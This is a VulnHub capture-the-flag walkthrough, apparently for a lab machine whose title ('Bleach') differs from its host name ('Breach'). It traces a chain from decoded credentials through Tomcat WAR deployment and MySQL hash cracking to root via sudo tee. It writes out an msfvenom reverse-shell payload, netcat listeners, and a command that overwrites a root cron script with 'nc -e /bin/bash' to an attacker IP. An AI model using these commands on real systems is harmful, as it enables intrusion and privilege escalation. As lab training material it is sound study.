Bleach: 1 — VulnHub Walkthrough Base64 Decoded Credentials to Root via Tee Sudo Abuse

ROOM TYPE Difficulty → Intermediate Platform → VulnHub Focus → Enumeration, SSL/Traffic Analysis, Tomcat Exploitation, Privilege Escalation

Task 1: Discovering Hidden Credentials

Visiting the target in the browser, we find a comment in the page source containing a suspicious encoded string:

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo

We decode it twice using Base64 since it is double encoded:

echo Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo | base64 -d | base64 -d

Credentials recovered:

Username: pgibbons
Password: damnitfeel$goodtobeagang$ta

We also find a list of employees mentioned on the page:

TOP consultants, led by Bill Lumbergh
Peter Gibbons
Samir Nagheenanajar

We log into the ImpressCMS portal using Peter’s credentials:

http://192.168.110.140/impresscms/user.php

Task 2: Discovering the Keystore & PCAP Files

After logging in, we find a message from Bob pointing us to two files:

http://192.168.110.140/.keystore
http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

We download both files. We check the keystore file type and convert it from JKS format to PKCS12 so it can be imported into a browser or used for SSL decryption:

file Untitled.keystore
keytool -importkeystore -srckeystore Untitled.keystore -destkeystore test.p12 -srcstoretype JKS -deststoretype PKCS12

Task 3: Analyzing the PCAP for Tomcat Credentials

We open the PCAP file in Wireshark to inspect captured network traffic:

wireshark _SSL_test_phase1.pcap

Inside the traffic we find a Base64 encoded Authorization header in an HTTP request targeting the Tomcat manager:

GET /_M@nag3Me/html HTTP/1.1
Host: 192.168.110.140:8443

dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC

We decode it:

echo dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC | base64 -d

Credentials recovered:

Username: tomcat
Password: Tt\5D8F(#!*u=G)4m7zB

Task 4: Logging into Tomcat Manager

We enable the Burp Suite proxy to intercept the HTTPS traffic, then access the Tomcat manager panel:

https://192.168.110.140:8443/_M@nag3Me/html

We log in using the Tomcat credentials recovered from the PCAP file.

Task 5: Deploying a Malicious WAR File — Reverse Shell

We generate a Java reverse shell payload as a WAR file using msfvenom:

msfvenom -p java/jsp_shell_reverse_tcp lhost=<attacker-ip> lport=5555 -f war > shell.war

We upload the WAR file through the Tomcat manager interface and deploy it.

We set up a Netcat listener on our attacking machine:

nc -lvnp 5555

We trigger the shell by visiting the deployed application in the browser. We upgrade to a fully interactive TTY:

python -c "import pty; pty.spawn('/bin/bash')"

Task 6: Database Enumeration — Finding Milton’s Credentials

We navigate to the web root and find a PHP configuration file containing database credentials:

cd /var/www/5446
cat 0d93f85c5061c44cdffeb8381b2772fd.php

We log into MySQL as root:

mysql -u root
show databases;
use mysql;
show tables;
select * from user;

We find a password hash for user milton:

milton | 6450d89bd3aff1d893b85d3ad65d2ec2

We crack the hash and recover the password:

milton → thelaststraw

We switch to Milton:

su milton
# Enter password: thelaststraw

Task 7: Lateral Movement to Blumbergh

We check /etc/passwd to confirm available users and notice blumbergh (Bill Lumbergh) has an account.

In Milton’s home directory we find an image file. We run exiftool on it to check for hidden metadata:

exiftool bill.png

The image comment reveals a password:

Comment: coffeestains

We switch to Blumbergh:

su blumbergh
# Enter password: coffeestains

Task 8: Privilege Escalation via Tee Sudo Abuse

We check Blumbergh’s sudo permissions:

sudo -l

Result:

User blumbergh may run the following commands on Breach:
(root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh

We read the existing cleanup script to understand what it does:

cat /usr/share/cleanup/tidyup.sh

The script runs every 3 minutes as root as a defense measure. We abuse the tee sudo permission to overwrite it with a reverse shell payload:

echo "nc -nv <attacker-ip> 8888 -e /bin/bash" | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

We set up a listener and wait up to 3 minutes for the cron job to execute the script as root:

nc -lvnp 8888

We receive a root shell when the scheduled task runs.

Final Flag

cd /root
ls
cat flag.txt

Final Thoughts

Bleach 1 is a richly layered machine that simulates a realistic corporate environment with multiple pivoting steps covering:

• Double Base64 encoded credential discovery
• SSL keystore conversion and PCAP traffic analysis
• Tomcat manager access and WAR file deployment
• MySQL credential dumping and hash cracking
• Metadata steganography using exiftool
• Cron job hijacking via sudo tee abuse